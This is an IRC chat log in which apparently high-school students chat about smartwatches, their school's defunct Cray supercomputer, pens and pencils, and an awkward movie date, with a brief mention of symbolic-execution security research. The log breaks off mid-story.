[2015-01-25T22:25:53-0500] <jwoglom> i've dropped it many times, and nothing :D
[2015-01-25T22:26:01-0500] <jwoglom> yeah you can't rely on it
[2015-01-25T22:26:06-0500] <+hardmath123> last year, someone got mad at me and threw an iphone at me
[2015-01-25T22:26:06-0500] <alokpathy> assface: I've dropped mine from even higher
[2015-01-25T22:26:08-0500] <+hardmath123> and missed
[2015-01-25T22:26:11-0500] <nezorg> I've dropped my X a lot and it's held up perfectly
[2015-01-25T22:26:11-0500] <nezorg> <3
[2015-01-25T22:26:17-0500] <assface> and I have a bad habit of throwing my phone in the air
[2015-01-25T22:26:19-0500] <+hardmath123> it hit a brick wall
[2015-01-25T22:26:26-0500] <alokpathy> assface: Yeah, same.
[2015-01-25T22:26:37-0500] <alokpathy> assface: which is part of the reason I drop it so often.
[2015-01-25T22:26:41-0500] <jwoglom> also, i have an android watch now :D
[2015-01-25T22:26:45-0500] <jwoglom> it's pretty cool
[2015-01-25T22:26:55-0500] <assface> does it tell time?
[2015-01-25T22:27:00-0500] <jwoglom> yes, amazingly
[2015-01-25T22:27:01-0500] <+Tamini> oh yeah
[2015-01-25T22:27:05-0500] <jwoglom> and vibrates for notifications
[2015-01-25T22:27:07-0500] <+Tamini> dude the android watch is ACTUALLY nice
[2015-01-25T22:27:14-0500] <jwoglom> Tamini: you should get one!
[2015-01-25T22:27:17-0500] <jwoglom> and switch back to android
[2015-01-25T22:27:18-0500] <+Tamini> I wear my pebble because it reminds me of you guys tho <3
[2015-01-25T22:27:22-0500] <+Tamini> although not as much anymore
[2015-01-25T22:27:24-0500] <nezorg> jwoglom: I have a moto 360 but stopped using it xP
[2015-01-25T22:27:28-0500] <nezorg> (and used to have a pebble!)
[2015-01-25T22:27:28-0500] <alokpathy> Tamini: You're welcome :P
[2015-01-25T22:27:30-0500] <assface> mang its all about the google glass
[2015-01-25T22:27:32-0500] <jwoglom> nezorg: i've got an original G watch
[2015-01-25T22:27:38-0500] <jwoglom> $100 on black friday, man
[2015-01-25T22:27:40-0500] <nezorg> jwoglom: you must love bezel
[2015-01-25T22:27:49-0500] <assface> I wear my google glass and everyone loves me!
[2015-01-25T22:27:55-0500] <+Tamini> assface: damn
[2015-01-25T22:27:56-0500] <jwoglom> nezorg: it was cheap :P
[2015-01-25T22:28:00-0500] <+Tamini> i wear my google cardboard like a badass :D
[2015-01-25T22:28:04-0500] <jwoglom> and i want to wait till the 3rd+ generation devices before i drop a lot of money on one
[2015-01-25T22:28:08-0500] • nezorg: wears his desktop
[2015-01-25T22:28:13-0500] <alokpathy> nezorg: Wow too pro
[2015-01-25T22:28:18-0500] • jwoglom: wears a server with a ups
[2015-01-25T22:28:26-0500] • nezorg: occasionally dons his cloud
[2015-01-25T22:28:27-0500] • assface: wears a cray
[2015-01-25T22:28:28-0500] <+Tamini> you have your oculus man
[2015-01-25T22:28:33-0500] <jwoglom> assface: TJ has a cray! :D
[2015-01-25T22:28:43-0500] <jwoglom> it's getting put in a display case
[2015-01-25T22:28:50-0500] <+Tamini> jwoglom: wait, whoa, where
[2015-01-25T22:28:51-0500] <jwoglom> whenever the heck the front of the school opens..
[2015-01-25T22:28:52-0500] <assface> like a new one?
[2015-01-25T22:29:00-0500] <jwoglom> Tamini: you don't know this? :P
[2015-01-25T22:29:04-0500] <jwoglom> lolno, we got it in 03
[2015-01-25T22:29:08-0500] <+Tamini> no like
[2015-01-25T22:29:09-0500] <+Tamini> where 
[2015-01-25T22:29:10-0500] <jwoglom> it doesn't boot anymore
[2015-01-25T22:29:15-0500] <assface> makes more sense
[2015-01-25T22:29:16-0500] <+Tamini> I know we have one stuffed somewhere in a corner
[2015-01-25T22:29:22-0500] <jwoglom> it's gonna be put near the front enterence
[2015-01-25T22:29:29-0500] <jwoglom> in a little display room
[2015-01-25T22:29:54-0500] <jwoglom> https://livedoc.tjhsst.edu/wiki/Cray_SV1_Supercomputer
[2015-01-25T22:30:10-0500] <jwoglom> no one's gotten it to boot successfully since 2010 -_-
[2015-01-25T22:30:39-0500] <jwoglom> "Shut-down Sequence: Don't shut it down."
[2015-01-25T22:31:05-0500] <assface> I once found a BBS that was run on a 30-year-old computer
[2015-01-25T22:31:14-0500] <assface> it had 640 kbytes of RAM
[2015-01-25T22:31:25-0500] <assface> forget the name tho
[2015-01-25T22:31:27-0500] <jwoglom> Tamini: semi-interesting story on the cray being put there, btw
[2015-01-25T22:31:33-0500] <+Tamini> jwoglom: shoot.
[2015-01-25T22:31:51-0500] <jwoglom> the cray wouldn't fit through the old machine room door
[2015-01-25T22:31:56-0500] <jwoglom> was too big and too heavy
[2015-01-25T22:32:11-0500] <jwoglom> so they left it in there and wanted the renovation people to get it out
[2015-01-25T22:32:16-0500] <+Tamini> LOL
[2015-01-25T22:32:23-0500] <+Tamini> wait is it still in that random commons
[2015-01-25T22:32:32-0500] <jwoglom> they said initially that it would be impossible, bc of its size
[2015-01-25T22:32:49-0500] <jwoglom> and because all of the walls with the glass on them were structual support walls, apparently
[2015-01-25T22:32:57-0500] <jwoglom> so if they knocked them down to try and get it out, the roof would collapse
[2015-01-25T22:33:22-0500] <jwoglom> so andrew and torbert took the casing off of it basically and some of the cool looking bits and were preparing for it to be destroyed
[2015-01-25T22:33:36-0500] <jwoglom> however, they were amazingly able to get it out somehow
[2015-01-25T22:33:45-0500] <jwoglom> I think FCPS threw a fit
[2015-01-25T22:33:54-0500] <jwoglom> because, in their asset tracking system, it has a worth of >$400,000 :P
[2015-01-25T22:34:02-0500] <+Tamini> LOL
[2015-01-25T22:34:05-0500] <+Tamini> wasnt it like
[2015-01-25T22:34:10-0500] <+Tamini> donated by 
[2015-01-25T22:34:13-0500] <+Tamini> some random place
[2015-01-25T22:34:19-0500] <jwoglom> cray, inc donated it in 2002
[2015-01-25T22:34:35-0500] <jwoglom> they were on the plaque in the old front area of commercial contributors to TJ
[2015-01-25T22:34:51-0500] <jwoglom> because it was like a crazy large dollar amount of a donation
[2015-01-25T22:36:31-0500] <bob_twinkles> in terms of practicality it's not really up there anywhere though
[2015-01-25T22:36:42-0500] <bob_twinkles> since I think it was pretty much historic even at the time it was donated
[2015-01-25T22:36:56-0500] <jwoglom> yeah
[2015-01-25T22:37:12-0500] <jwoglom> it was built/created/whatever in 1998
[2015-01-25T22:37:47-0500] <jwoglom> still, had a crazy high monetary worth
[2015-01-25T22:38:22-0500] <nezorg> jwoglom: I believe the correct term is "brought into the world" or "born"
[2015-01-25T22:38:36-0500] <assface> ^
[2015-01-25T22:38:47-0500] <jwoglom> nezorg: okay, it was born in 1998
[2015-01-25T22:38:51-0500] <jwoglom> and TJ adopted it in 2002
[2015-01-25T22:38:58-0500] <assface> no it was already dead
[2015-01-25T22:39:06-0500] <jwoglom> and it went into a perminent coma around 2010
[2015-01-25T22:39:19-0500] <assface> you basically have a corpse in your schoo;
[2015-01-25T22:39:19-0500] <jwoglom> when it got moved it was taken off life support :(
[2015-01-25T22:39:26-0500] <assface> how do you feel about that?
[2015-01-25T22:39:32-0500] <jwoglom> well right now it's just in a hallway, basically
[2015-01-25T22:39:38-0500] <jwoglom> in a year it'll be on display
[2015-01-25T22:39:59-0500] <+Tamini> im surprised
[2015-01-25T22:40:05-0500] <+Tamini> no freshman has destroyed it yet
[2015-01-25T22:40:23-0500] <bob_twinkles> well seeing as how it hasn't worked for close to a decade at this point
[2015-01-25T22:40:24-0500] <jwoglom> Tamini: well i think if they did FCPS would brutally murder them
[2015-01-25T22:40:27-0500] <bob_twinkles> there isn't much they could do
[2015-01-25T22:40:29-0500] <jwoglom> also, have you seen taht thing?
[2015-01-25T22:40:36-0500] <+Tamini> yes, yes i have
[2015-01-25T22:40:40-0500] <jwoglom> how the heck are you going to destroy it without some crazy equipment
[2015-01-25T22:40:45-0500] <+Tamini> well
[2015-01-25T22:40:50-0500] <+Tamini> i know where i can find a sledgehammer....
[2015-01-25T22:41:00-0500] <bob_twinkles> it's probably easy to damage cosmetically
[2015-01-25T22:41:08-0500] <jwoglom> Tamini: you should really get that gernade that ahamilto promised
[2015-01-25T22:41:10-0500] <bob_twinkles> and seeing as how display is about all it's good for at this point...
[2015-01-25T22:41:18-0500] <assface> hoo boy
[2015-01-25T22:41:20-0500] <jwoglom> pretty lights!
[2015-01-25T22:41:27-0500] <assface> I found a delightful image
[2015-01-25T22:41:29-0500] <jwoglom> that's basically it's only purpose
[2015-01-25T22:41:31-0500] <assface> http://media.8ch.net/tech/src/1422241749055.jpg
[2015-01-25T22:41:59-0500] <jwoglom> welp
[2015-01-25T22:42:08-0500] <+Tamini> hey, great idea
[2015-01-25T22:43:10-0500] <jwoglom> Tamini: bug him in #tjhsst!
[2015-01-25T22:43:22-0500] <+Tamini> nah
[2015-01-25T22:43:24-0500] <+Tamini> you can do that
[2015-01-25T22:43:28-0500] <+Tamini> i think he already finds me dangerous as is
[2015-01-25T22:43:33-0500] <jwoglom> but he didn't promise me one
[2015-01-25T22:43:35-0500] <jwoglom> he promised you
[2015-01-25T22:43:43-0500] <+Tamini> lol
[2015-01-25T22:43:50-0500] <+Tamini> also, did he ever get the bear back?
[2015-01-25T22:43:53-0500] <jwoglom> you should advocate for yourself maybe :P
[2015-01-25T22:43:56-0500] <jwoglom> nope, anya still has it
[2015-01-25T22:44:06-0500] <jwoglom> i moved the linux penguin to his desk though
[2015-01-25T22:44:09-0500] <+Tamini> d'aww
[2015-01-25T22:44:20-0500] <jwoglom> still not the same
[2015-01-25T22:44:27-0500] <+Tamini> i told her that she should give it back
[2015-01-25T22:44:29-0500] <jwoglom> if they were together, they could be friends!
[2015-01-25T22:44:33-0500] <+Tamini> because while she had jacob
[2015-01-25T22:44:36-0500] <+Tamini> andrew has nothing but the bear
[2015-01-25T22:44:37-0500] <jwoglom> think of how cute that would be
[2015-01-25T22:44:37-0500] <+Tamini> :(
[2015-01-25T22:44:45-0500] <jwoglom> :(
[2015-01-25T22:44:53-0500] <jwoglom> he needs a stuffed animal in his life
[2015-01-25T22:46:30-0500] <nezorg> your school sounds so interesting
[2015-01-25T22:46:54-0500] <+Tamini> you can move here!
[2015-01-25T22:46:59-0500] <+Tamini> east coast beast coast
[2015-01-25T22:47:05-0500] <nezorg> lol
[2015-01-25T22:47:10-0500] <assface> eww, snow
[2015-01-25T22:47:18-0500] <+Tamini> we get days off from school! :D
[2015-01-25T22:47:32-0500] <bob_twinkles> also, more efficient equipment cooling
[2015-01-25T22:47:48-0500] <jwoglom> east coast is the best, yo
[2015-01-25T22:47:59-0500] <nezorg> jwoglom: that doesn't rhyme
[2015-01-25T22:48:18-0500] <jwoglom> nezorg: that didn't rhyme either
[2015-01-25T22:48:32-0500] <assface> bob_twinkles: naw, get a Cooler Master 212 EVO and you're good
[2015-01-25T22:48:48-0500] <jwoglom> assface: but during the winter months you can just put your computer outside!
[2015-01-25T22:48:57-0500] <assface> and get it nice and wet
[2015-01-25T22:49:05-0500] <jwoglom> and then hurredly bring it back in 6 hours later when the temperature is 50 again
[2015-01-25T22:49:47-0500] <assface> oh yeah, nezorg, apparently we can turn in the JFK thing tomorrow
[2015-01-25T22:49:53-0500] <nezorg> ugh
[2015-01-25T22:49:57-0500] <nezorg> that would mean I would have to do it
[2015-01-25T22:49:57-0500] <assface> garret tried to turn his in and she told him to hold on to it
[2015-01-25T22:50:15-0500] <nezorg> apush notes take priority
[2015-01-25T22:50:22-0500] <assface> lol
[2015-01-25T22:50:27-0500] <assface> you have an actual workload
[2015-01-25T22:50:38-0500] <nezorg> well with my seclab work yeah
[2015-01-25T22:50:45-0500] <nezorg> I spend too much time on that though
[2015-01-25T22:51:24-0500] <alokpathy> One can never spend too much time on seclab work :P
[2015-01-25T22:51:25-0500] <+Tamini> because you do more than is required :P
[2015-01-25T22:51:37-0500] <assface> working is for losers
[2015-01-25T22:51:46-0500] <nezorg> it's fun though!
[2015-01-25T22:51:57-0500] <assface> apush notes are fun???
[2015-01-25T22:52:02-0500] <nezorg> ...no, seclab work
[2015-01-25T22:52:11-0500] <assface> what do you even do?
[2015-01-25T22:52:20-0500] <nezorg> right now I'm working on two things
[2015-01-25T22:52:26-0500] <nezorg> type inference through symbolic execution
[2015-01-25T22:52:37-0500] <nezorg> and a UI for reverse engineering with symbolic execution
[2015-01-25T22:52:45-0500] <nezorg> mostly the latter atm
[2015-01-25T22:52:59-0500] <assface> you're gonan have to explain symbolic execution
[2015-01-25T22:53:08-0500] <assface> oh wait
[2015-01-25T22:53:13-0500] <nezorg> like
[2015-01-25T22:53:15-0500] <assface> like debugging?
[2015-01-25T22:53:19-0500] <nezorg> not quite
[2015-01-25T22:53:25-0500] <nezorg> you essentially execute the program
[2015-01-25T22:53:26-0500] <nezorg> except
[2015-01-25T22:53:33-0500] <nezorg> whenever you have any sort of user input
[2015-01-25T22:53:39-0500] <nezorg> you make it symbolic
[2015-01-25T22:53:46-0500] <nezorg> and build up formulas that describe results
[2015-01-25T22:53:50-0500] <nezorg> or possible paths of execution
[2015-01-25T22:53:51-0500] <nezorg> or so on
[2015-01-25T22:53:53-0500] <assface> ahh
[2015-01-25T22:54:07-0500] <assface> sounds like a pain in the ass
[2015-01-25T22:54:13-0500] <nezorg> it's pretty awesome, though
[2015-01-25T22:54:18-0500] <nezorg> we're finding backdoors automatically!
[2015-01-25T22:54:36-0500] <assface> neat
[2015-01-25T22:54:48-0500] <alokpathy> noice
[2015-01-25T22:55:06-0500] <+Tamini> that sounds so awesome :D
[2015-01-25T22:55:08-0500] <+Tamini> see,
[2015-01-25T22:55:12-0500] <+Tamini> i have a cool high school
[2015-01-25T22:55:24-0500] <+Tamini> you have a cool seclab
[2015-01-25T22:55:38-0500] <nezorg> fair enough
[2015-01-25T22:55:41-0500] <+Tamini> equal stuffs
[2015-01-25T22:55:43-0500] <assface> I have a cool..... something or other
[2015-01-25T22:55:48-0500] <assface> a cool pool
[2015-01-25T22:56:05-0500] <assface> best pool in the county, it is
[2015-01-25T22:56:27-0500] <+Tamini> sounds awesome
[2015-01-25T22:56:28-0500] <alokpathy> Hmm what do I have that's cool.
[2015-01-25T22:56:44-0500] <alokpathy> I have a cool pencil sharpener.
[2015-01-25T22:56:46-0500] <alokpathy> It's pretty sweet.
[2015-01-25T22:56:52-0500] <+Tamini> i think you're pretty cool
[2015-01-25T22:56:54-0500] <+Tamini> :P
[2015-01-25T22:56:56-0500] <assface> that's cool
[2015-01-25T22:57:06-0500] <alokpathy> Tamini: My pencil sharpener begs to differ.
[2015-01-25T22:57:15-0500] <+Tamini> lol
[2015-01-25T22:57:24-0500] <alokpathy> I do appreciate how sharp it makes my pencils.
[2015-01-25T22:57:33-0500] <alokpathy> I can be sorta picky about that .-.
[2015-01-25T22:57:41-0500] <assface> it would be funny if you made a pencil sharpener with an i7
[2015-01-25T22:57:46-0500] <assface> to optimise sharpening speed
[2015-01-25T22:57:49-0500] <nezorg> alokpathy: use mech pencils!
[2015-01-25T22:57:57-0500] <assface> those break way more
[2015-01-25T22:58:18-0500] <alokpathy> nezorg: I've never seen a mech pencil that writes well :/
[2015-01-25T22:58:22-0500] <+Tamini> lol
[2015-01-25T22:58:24-0500] <nezorg> alokpathy: how so?
[2015-01-25T22:58:26-0500] <alokpathy> Staedtler pencils are pretty nice.
[2015-01-25T22:58:31-0500] <alokpathy> Idk. They seem too light
[2015-01-25T22:58:34-0500] <+Tamini> i haven't used a reg pencil since i finished my SATs
[2015-01-25T22:58:35-0500] <alokpathy> and when I press hard it breaks.
[2015-01-25T22:58:42-0500] <alokpathy> I always use normal pencils.
[2015-01-25T22:58:52-0500] <+Tamini> alokpathy: i use 0.3 lead, I don't understand you
[2015-01-25T22:58:59-0500] <alokpathy> wat that exists?
[2015-01-25T22:59:05-0500] <alokpathy> I thought it only went up to 0.5
[2015-01-25T22:59:08-0500] <+Tamini> yeah
[2015-01-25T22:59:15-0500] <+Tamini> i got it at this japanese store
[2015-01-25T22:59:21-0500] <@awe> Tamini: you used regular pencils on the SATs?
[2015-01-25T22:59:22-0500] <+Tamini> every class but math is fountain pens tho
[2015-01-25T22:59:24-0500] <@awe> Tamini: I used a mechanical.
[2015-01-25T22:59:31-0500] <+Tamini> awe:idk
[2015-01-25T22:59:34-0500] <alokpathy> Oh, yeah, pens are great.
[2015-01-25T22:59:38-0500] <+Tamini> it's calming
[2015-01-25T22:59:38-0500] <@awe> Fountain pens are god tier.
[2015-01-25T22:59:38-0500] <+Tamini> lol
[2015-01-25T22:59:40-0500] <jwoglom> 0.3 lead exists? O_o
[2015-01-25T22:59:42-0500] <jwoglom> damn
[2015-01-25T22:59:44-0500] <+Tamini> alokpathy: get fancy pens
[2015-01-25T22:59:52-0500] <@awe> Light lead is stressful.
[2015-01-25T22:59:53-0500] <+Tamini> if we have enough people, we can make #pens a thing
[2015-01-25T22:59:55-0500] <alokpathy> Tamini: I could.
[2015-01-25T22:59:56-0500] <+Tamini> awe: I like it.
[2015-01-25T23:00:08-0500] <+Tamini> awe: my parents promised me a montblanc as a graduation present.
[2015-01-25T23:00:09-0500] <@awe> I'm too forceful for that.
[2015-01-25T23:00:10-0500] <assface> my friend has perfected the art of the pen-weapon
[2015-01-25T23:00:19-0500] <@awe> I want to get a montblanc that I like instead of just the one my dad gave me. :p
[2015-01-25T23:00:20-0500] <+Tamini> actually, my parents promised me a lot as graduation presents....
[2015-01-25T23:00:22-0500] <alokpathy> Yeah, I'm pretty forceful with pencils.
[2015-01-25T23:00:26-0500] <alokpathy> I get indents on my fingers .-.
[2015-01-25T23:00:30-0500] <+Tamini> D:
[2015-01-25T23:00:31-0500] <assface> lel
[2015-01-25T23:00:32-0500] <+Tamini> not good yo
[2015-01-25T23:00:35-0500] <@awe> My parents promised me an Apple Watch if I did well last semester, which I did.
[2015-01-25T23:00:48-0500] <nezorg> why would you want an apple watch?
[2015-01-25T23:00:49-0500] <jwoglom> >apple watch
[2015-01-25T23:00:55-0500] <+Tamini> my mom promised me a montblanc+surgery for hs graduation
[2015-01-25T23:01:01-0500] <jwoglom> it's not going to be good, honestly
[2015-01-25T23:01:01-0500] <+Tamini> and eye surgery for college
[2015-01-25T23:01:06-0500] <assface> my parents give me $20 per A
[2015-01-25T23:01:09-0500] <assface> that's it
[2015-01-25T23:01:12-0500] <@awe> Because it's the literal only smartwatch I can use?
[2015-01-25T23:01:17-0500] <+Tamini> awe: how come?
[2015-01-25T23:01:18-0500] <nezorg> awe: pebble!
[2015-01-25T23:01:19-0500] <@awe> iPhone?
[2015-01-25T23:01:22-0500] <jwoglom> android!
[2015-01-25T23:01:24-0500] <+Tamini> pebble!
[2015-01-25T23:01:24-0500] <@awe> Pebbles are useless.
[2015-01-25T23:01:26-0500] <+Tamini> :P
[2015-01-25T23:01:28-0500] <+Tamini> wow, awe
[2015-01-25T23:01:31-0500] <nezorg> aww, I loved my pebble
[2015-01-25T23:01:33-0500] <+Tamini> are you telling me you gave me something useless
[2015-01-25T23:01:35-0500] <@awe> You're welcome.
[2015-01-25T23:01:36-0500] <@awe> Yes.
[2015-01-25T23:01:38-0500] <nezorg> actually thinking of going back to it
[2015-01-25T23:01:54-0500] <assface> plebble
[2015-01-25T23:02:05-0500] <+Tamini> I really like mine.
[2015-01-25T23:02:10-0500] <+Tamini> I match with my best friends
[2015-01-25T23:02:22-0500] <+Tamini> because everyone that does cs competitions comes back winning pebbles :P
[2015-01-25T23:02:36-0500] <nezorg> idk, though, I don't really like smartwatches in general
[2015-01-25T23:02:40-0500] <+Tamini> ^
[2015-01-25T23:02:42-0500] <assface> ^
[2015-01-25T23:02:47-0500] <nezorg> too interrupt-y
[2015-01-25T23:02:49-0500] <+Tamini> yeah
[2015-01-25T23:02:54-0500] <nezorg> even moreso than phones
[2015-01-25T23:03:04-0500] <+Tamini> being able to check notifications were nice before i started getting lots.
[2015-01-25T23:03:08-0500] <@awe> Well, maybe I'll hate it.
[2015-01-25T23:03:09-0500] <@awe> I dunno.
[2015-01-25T23:03:18-0500] <@awe> We'll see.
[2015-01-25T23:03:20-0500] <+Tamini> WAIT HOLY SHIT
[2015-01-25T23:03:24-0500] <LittleBobbyTables> no
[2015-01-25T23:03:25-0500] <+Tamini> TEDDY BEAR GRAMS ARE A THING
[2015-01-25T23:03:28-0500] <LittleBobbyTables> I don't like waiting
[2015-01-25T23:03:30-0500] <+Tamini> and lol
[2015-01-25T23:03:32-0500] <nezorg> huh?
[2015-01-25T23:03:33-0500] <LittleBobbyTables> You didn't know that...?
[2015-01-25T23:03:37-0500] <+Tamini> I don't think you'll hate it
[2015-01-25T23:03:41-0500] <nezorg> what are teddy bear grams?
[2015-01-25T23:03:45-0500] <+Tamini> nezorg: uhh
[2015-01-25T23:03:46-0500] <+Tamini> valentines day
[2015-01-25T23:03:53-0500] <+Tamini> they deliver teddy bears to people for you
[2015-01-25T23:03:56-0500] <nezorg> huh
[2015-01-25T23:03:56-0500] <jwoglom> Tamini: like the things SGA does?
[2015-01-25T23:03:58-0500] <nezorg> seems strange
[2015-01-25T23:04:04-0500] <+Tamini> jwoglom: did this exist before
[2015-01-25T23:04:07-0500] <assface> they do something similar at our school, nezorg
[2015-01-25T23:04:14-0500] <jwoglom> Tamini: i haven't heard of it existing with teddy bears
[2015-01-25T23:04:18-0500] <jwoglom> but with candy/chocolate, yes
[2015-01-25T23:04:20-0500] <+Tamini> its the fact its teddy bears
[2015-01-25T23:04:22-0500] <nezorg> assface: yeah, but it's strange too
[2015-01-25T23:04:22-0500] <+Tamini> ugh
[2015-01-25T23:04:30-0500] <+Tamini> idek my entire group chat is getting each other stuff
[2015-01-25T23:04:33-0500] <+Tamini> but I don't have money
[2015-01-25T23:04:45-0500] <+Tamini> but I do want to walk around with an armfull of cute and cuddly things
[2015-01-25T23:04:45-0500] <+Tamini> ._.
[2015-01-25T23:04:48-0500] <@awe> My friend's sister once sent me a valentine's day rose.
[2015-01-25T23:04:53-0500] <@awe> She was madly in love with me.
[2015-01-25T23:04:57-0500] <@awe> I was deeply confused by where the flower came from.
[2015-01-25T23:05:00-0500] <assface> lol
[2015-01-25T23:05:05-0500] <@awe> I found out more than a YEAR LATER.
[2015-01-25T23:05:15-0500] • nezorg: is deeply confused about many things
[2015-01-25T23:05:18-0500] <@awe> And I went on a date with her.
[2015-01-25T23:05:19-0500] <@awe> It was so awkward.
[2015-01-25T23:05:25-0500] <+Tamini> LOL
[2015-01-25T23:05:25-0500] <LittleBobbyTables> Was she hot
[2015-01-25T23:05:27-0500] <@awe> No.
[2015-01-25T23:05:29-0500] <alokpathy> Ah, teenage love.
[2015-01-25T23:05:30-0500] <@awe> Not at all.
[2015-01-25T23:05:30-0500] <+Tamini> my best friend and I
[2015-01-25T23:05:34-0500] <LittleBobbyTables> whwy
[2015-01-25T23:05:34-0500] <+Tamini> send each other a rose every year
[2015-01-25T23:05:35-0500] <@awe> I wasn't interested in her in the slightest.
[2015-01-25T23:05:42-0500] <@awe> But she asked me if I wanted to see a movie
[2015-01-25T23:05:46-0500] <@awe> (my friends had just asked me)
[2015-01-25T23:05:50-0500] <@awe> so, I was like yeah, sure
[2015-01-25T23:05:56-0500] <+Tamini> oh, awe
[2015-01-25T23:05:58-0500] <@awe> and was about to suggest she come with us
[2015-01-25T23:06:00-0500] <assface> STORY TIME
[2015-01-25T23:06:03-0500] <@awe> and immediately after
[2015-01-25T23:06:03-0500] <@awe> she's like
[2015-01-25T23:06:11-0500] <@awe> "Just to be clear, I meant as  a date."
[2015-01-25T23:06:20-0500] <LittleBobbyTables> Did you say "Just to be clear, no"?
[2015-01-25T23:06:22-0500] <@awe> And I had already said yes. So, I wasn't going to crush her poor little heart.
[2015-01-25T23:06:29-0500] <LittleBobbyTables> I would have
[2015-01-25T23:06:30-0500] <@awe> Especially because she's super insecure
[2015-01-25T23:06:33-0500] <LittleBobbyTables> k nvm
[2015-01-25T23:06:35-0500] <@awe> and it took her a ton to ask me out
[2015-01-25T23:06:39-0500] <assface> I would have said "um, uhhhhh......"
[2015-01-25T23:06:42-0500] <nezorg> awe: hey, so am I, but I wouldn't go on a date with oy
[2015-01-25T23:06:43-0500] <nezorg> *you
[2015-01-25T23:06:46-0500] <@awe> So, I was like, okay, I'll do it.
[2015-01-25T23:06:48-0500] <assface> and used my pocket sand
[2015-01-25T23:06:50-0500] <@awe> nezorg: I would go on a date with you, bb. ;)
[2015-01-25T23:07:03-0500] <assface> ayy bby, wnat sum fuk?
[2015-01-25T23:07:10-0500] <+Tamini> nezorg: not easy to say
[2015-01-25T23:07:11-0500] <+Tamini> LOL
[2015-01-25T23:07:12-0500] <jwoglom> >wnat
[2015-01-25T23:07:14-0500] <+Tamini> assface: yes
[2015-01-25T23:07:17-0500] <+Tamini> thats how you do it 
[2015-01-25T23:07:19-0500] <+Tamini> 10/10
[2015-01-25T23:07:21-0500] <@awe> But yeah, so, I knew it was hard for her to ask me out and rejection would've crushed her and I was single so I said "what the fuck"
[2015-01-25T23:07:22-0500] <+Tamini> would date
[2015-01-25T23:07:24-0500] <jwoglom> stellar delivery
[2015-01-25T23:07:25-0500] <@awe> and that was a horrible decision
[2015-01-25T23:07:35-0500] <assface> ^^^^
[2015-01-25T23:07:43-0500] <@awe> We went to go see uhh...
[2015-01-25T23:07:45-0500] <LittleBobbyTables> Those dates tend to be shit
[2015-01-25T23:07:51-0500] <LittleBobbyTables> "I was single so why the fuck not"
[2015-01-25T23:07:51-0500] <@awe> That chick flick with the dauntless and whatever?
[2015-01-25T23:07:57-0500] <assface> I'm a social turtle and even I know not to say that
[2015-01-25T23:07:57-0500] <+Tamini> DIVERGENT
[2015-01-25T23:07:58-0500] <+Tamini> WAS
[2015-01-25T23:07:58-0500] <+Tamini> SO
[2015-01-25T23:07:59-0500] <+Tamini> STUPID
[2015-01-25T23:07:59-0500] <@awe> Yes.
[2015-01-25T23:08:01-0500] <@awe> That movie.
[2015-01-25T23:08:02-0500] <@awe> Divergent.
[2015-01-25T23:08:04-0500] <assface> Tamini: yes
[2015-01-25T23:08:05-0500] <+Tamini> I think I went to watch that with uhh
[2015-01-25T23:08:09-0500] <+Tamini> ubuntor maybe?
[2015-01-25T23:08:09-0500] <nezorg> better or worse than the book?
[2015-01-25T23:08:11-0500] <@awe> So, we go to see Divergent.
[2015-01-25T23:08:12-0500] <assface> my friends and I watched it
[2015-01-25T23:08:13-0500] <+Tamini> and a bunch of other people
[2015-01-25T23:08:19-0500] <+Tamini> we literally sat there and made fun of everything
[2015-01-25T23:08:25-0500] <assface> we annoyed everyone in the theater
[2015-01-25T23:08:28-0500] <@awe> Well, I go to pick her up first.
[2015-01-25T23:08:30-0500] <jwoglom> Tamini: have you seen blackhat yet?
[2015-01-25T23:08:32-0500] <ubuntor> divergence
[2015-01-25T23:08:33-0500] <+Tamini> that woman is so anti-intelligence and it bugs me
[2015-01-25T23:08:34-0500] <@awe> She gets in my car and she's super dolled up.
[2015-01-25T23:08:41-0500] <@awe> She doesn't wear make-up normally, and was wearing a ton
[2015-01-25T23:08:45-0500] <+Tamini> jwoglom: nah, i had midterms
[2015-01-25T23:08:46-0500] <assface> eww
[2015-01-25T23:08:46-0500] <@awe> And she was dressed much nicer than she normally does
[2015-01-25T23:08:47-0500] <ubuntor> heard blackhat was bad
[2015-01-25T23:08:51-0500] <@awe> And you could tell this was a huge deal to her
[2015-01-25T23:08:52-0500] <+Tamini> wasnt going to go out on a wednesday to watch
[2015-01-25T23:08:53-0500] <jwoglom> whenever i see that i'll probably do the same thing
[2015-01-25T23:08:57-0500] <@awe> We go to the movie theater
[2015-01-25T23:08:58-0500] <jwoglom> same
[2015-01-25T23:08:58-0500] <assface> guys shut up its story time
[2015-01-25T23:08:58-0500] <nezorg> awe: :'(
[2015-01-25T23:09:00-0500] <+Tamini> awe: wait is that a bad sign
[2015-01-25T23:09:01-0500] <@awe> as soon as we walk in
[2015-01-25T23:09:14-0500] <LittleBobbyTables> jwoglom: it's apparently super accurate in CS terms
[2015-01-25T23:09:15-0500] <@awe> It turns out that my friend is there with his girlfriend.
[2015-01-25T23:09:22-0500] <assface> LEL
[2015-01-25T23:09:24-0500] <@awe> I had mentioned that I was going to see the movie earlier
[2015-01-25T23:09:27-0500] <@awe> so he decided to go see it.
[2015-01-25T23:09:29-0500] • nezorg: nopes out
[2015-01-25T23:09:36-0500] <@awe> So, his girlfriend loves me
[2015-01-25T23:09:39-0500] <@awe> so she calls me over
[2015-01-25T23:09:40-0500] <assface> ima just sit here and laugh at you
[2015-01-25T23:09:44-0500] <@awe> I say "Hey, I guess we have to sit with them..."
[2015-01-25T23:09:47-0500] <@awe> So, we go and sit with them.
[2015-01-25T23:09:49-0500] <jwoglom> LittleBobbyTables: a couple of my friends went and saw it and they said it was horrible :P
[2015-01-25T23:09:51-0500] <alokpathy> awe: Ohh I think you told me thsi.
[2015-01-25T23:09:56-0500] <@awe> So, now I'm accidentally on a double date.
[2015-01-25T23:09:58-0500] <assface> >thsi
[2015-01-25T23:10:03-0500] <ubuntor> oh dear
[2015-01-25T23:10:09-0500] <@awe> The movie is terrible.
[2015-01-25T23:10:12-0500] <+Tamini> :P:
[2015-01-25T23:10:13-0500] <+Tamini> LOL*
[2015-01-25T23:10:14-0500] <assface> this story is so cringe worthy
[2015-01-25T23:10:15-0500] <@awe> I'm trying hard to keep myself entertained.
[2015-01-25T23:10:22-0500] <@awe> So, I'm talking to my friend and his girlfriend.
[2015-01-25T23:10:38-0500] <@awe> Occasionally, I would whisper one of my classic funny movie comments to her so that she could feel like I wasn't ignoring her.
[2015-01-25T23:10:40-0500] <@awe> I was totally ignoring her.
[2015-01-25T23:11:08-0500] <alokpathy> Classic funny movie comments?
[2015-01-25T23:11:10-0500] <@awe> There's one of those weird romantic tension-y scenes in the movie where I guess would be a place where people would kiss or something during the movie?
